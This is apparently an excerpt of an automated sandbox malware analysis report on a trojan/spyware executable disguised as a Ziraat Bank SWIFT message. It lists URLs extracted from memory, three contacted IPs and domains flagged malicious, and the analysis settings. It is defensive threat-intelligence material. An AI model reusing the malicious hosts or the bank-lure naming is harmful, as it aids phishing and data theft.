                                        http://www.fontbureau.com/designers?Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://search.yahoo.com?fr=crmas_sfpfsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                            		high
                                            http://www.fontbureau.com/designersWZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.tiro.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300487990.0000000006016000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.goodfont.co.krZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comsigWZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300099384.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.typography.netDZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.galapagosdesign.com/staff/dennis.htmZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308674164.0000000006012000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308958537.0000000006012000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.sajatypeworks.comers0JZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://fontfabrik.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.carterandcone.comilyZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.com8IZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.sajatypeworks.comUZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comitsZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301948951.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302181801.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301855291.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302114099.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.galapagosdesign.com/staff/dennis.htmtr-trZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309958548.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309176604.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309323595.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309409920.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309038359.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309119313.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308591362.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309275276.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309634439.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308723291.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309847410.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309538175.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308827341.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.309771643.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308893439.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.carterandcone.comGrZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299985983.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.jiyu-kobo.co.jp/jp/lZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.fonts.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297868606.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.sandoll.co.krZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://www.carterandcone.comsignZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.fonts.comcomZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297839542.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.sakkal.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://www.fontbureau.comueedlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.fontbureau.com/designersivZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312655895.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.312618448.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.apache.org/licenses/LICENSE-2.0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299768442.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.fontbureau.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.fontbureau.comFZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      https://www.google.com/images/branding/product/ico/googleg_lodp.icosystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                        		high
                                                        http://www.carterandcone.comitseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.carterandcone.comfacZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://search.yahoo.com/favicon.icohttps://search.yahoo.com/searchsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                          		high
                                                          http://www.fontbureau.comL.TTFZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.jiyu-kobo.co.jp/jp/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          https://ac.ecosia.org/autocomplete?q=q3W1-4699.10.drfalse
                                                            		high
                                                            https://search.yahoo.com?fr=crmas_sfpsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                                                              		high
                                                              http://www.fontbureau.com/designers/cabarga.htmlNZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.founder.com.cn/cnZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299606103.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299501081.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                http://www.fontbureau.comdPZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://www.fontbureau.com/designers/cabarga.htmlZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305767115.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.monotype.Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  http://www.fontbureau.com/designers%Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306012210.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://www.fontbureau.commZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.jiyu-kobo.co.jp/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.galapagosdesign.com/:Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308810403.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.308658468.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.sakkal.comP1Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301976081.0000000006044000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301878220.0000000006043000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.zhongyicts.com.cno.Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    http://www.fontbureau.com/designers8Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305003600.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305032513.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.305068305.0000000006035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high

                                                                      World Map of Contacted IPs

                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs

                                                                      Public IPs

                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      103.11.189.189
                                                                      		www.oaksinstitute.netSingapore
                                                                      		58621VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSGtrue
                                                                      141.136.43.229
                                                                      		notarpucarhr.comLithuania
                                                                      		207291SENDER-ASLTtrue
                                                                      38.239.92.131
                                                                      		www.multimediapages.comUnited States
                                                                      		174COGENT-174UStrue

                                                                      Private

                                                                      IP
                                                                      192.168.2.1

                                                                      General Information

                                                                      Joe Sandbox Version:36.0.0 Rainbow Opal
                                                                      Analysis ID:755920
                                                                      Start date and time:2022-11-29 10:15:36 +01:00
                                                                      Joe Sandbox Product:CloudBasic
                                                                      Overall analysis duration:0h 9m 2s
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:full
                                                                      Sample file name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Cookbook file name:default.jbs
                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                      Number of analysed new started processes analysed:11
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:1
                                                                      Technologies:
                                                                      • HCA enabled
                                                                      • EGA enabled
                                                                      • HDC enabled
                                                                      • AMSI enabled
                                                                      Analysis Mode:default
                                                                      Analysis stop reason:Timeout
                                                                      Detection:MAL
                                                                      Classification:mal100.troj.spyw.evad.winEXE@7/2@4/4
                                                                      EGA Information:
                                                                      • Successful, ratio: 100%
                                                                      HDC Information:
                                                                      • Successful, ratio: 43.7% (good quality ratio 38.2%)
                                                                      • Quality average: 71.9%
                                                                      • Quality standard deviation: 33.2%
                                                                      HCA Information:
                                                                      • Successful, ratio: 99%
                                                                      • Number of executed functions: 58
                                                                      • Number of non-executed functions: 171
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .exe

                                                                      Warnings

